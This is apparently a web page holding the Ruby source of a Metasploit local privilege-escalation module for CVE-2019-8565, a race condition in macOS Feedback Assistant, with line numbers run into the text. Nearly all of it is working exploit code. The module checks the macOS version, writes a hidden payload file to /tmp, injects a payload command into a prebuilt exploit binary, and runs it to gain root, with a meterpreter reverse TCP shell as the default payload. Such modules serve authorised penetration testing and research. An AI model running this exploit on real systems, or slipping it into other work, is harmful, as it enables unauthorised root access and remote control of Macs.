Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/feedback_assistant_root.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(update_info(info,16'Name' => 'Mac OS X Feedback Assistant Race Condition',17'Description' => %q{18This module exploits a race condition vulnerability in Mac's Feedback Assistant.19A successful attempt would result in remote code execution under the context of20root.21},22'License' => MSF_LICENSE,23'Author' => [24'CodeColorist', # Discovery and exploit25'timwr', # Metasploit module26],27'References' => [28['CVE', '2019-8565'],29['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],30['URL', 'https://support.apple.com/en-in/HT209600'],31['URL', 'https://github.com/ChiChou/sploits'],32],33'SessionTypes' => [ 'meterpreter', 'shell' ],34'Platform' => [ 'osx', 'python', 'unix' ],35'DefaultTarget' => 0,36'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },37'Targets' => [38[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],39[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],40[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],41],42'DisclosureDate' => '2019-04-13'))43register_advanced_options [44OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])45]46end4748def upload_executable_file(filepath, filedata)49print_status("Uploading file: '#{filepath}'")50write_file(filepath, filedata)51chmod(filepath)52register_file_for_cleanup(filepath)53end5455def check56version = get_system_version5758return CheckCode::Unknown('Could not retrieve OSX version') if version.blank?5960version = Rex::Version.new(version)6162if version >= Rex::Version.new('10.14.4')63return CheckCode::Safe("OSX version #{version} is not vulnerable.")64end6566CheckCode::Appears("OSX version #{version} appears vulnerable.")67end6869def exploit70if check != CheckCode::Appears71fail_with Failure::NotVulnerable, 'Target is not vulnerable'72end7374if is_root?75fail_with Failure::BadConfig, 'Session already has root privileges'76end7778unless writable? datastore['WritableDir']79fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"80end8182case target['Arch']83when ARCH_X6484payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"85binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)86upload_executable_file(payload_file, binary_payload)87root_cmd = payload_file88when ARCH_PYTHON89root_cmd = "echo \"#{payload.encoded}\" | python"90else91root_cmd = payload.encoded92end93root_cmd = root_cmd + " & \0"94if root_cmd.length > 102495fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"96end9798exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))99placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')100exploit_data[placeholder_index, root_cmd.length] = root_cmd101102exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"103upload_executable_file(exploit_file, exploit_data)104105print_status("Executing exploit '#{exploit_file}'")106result = cmd_exec(exploit_file)107print_status("Exploit result:\n#{result}")108end109end110111112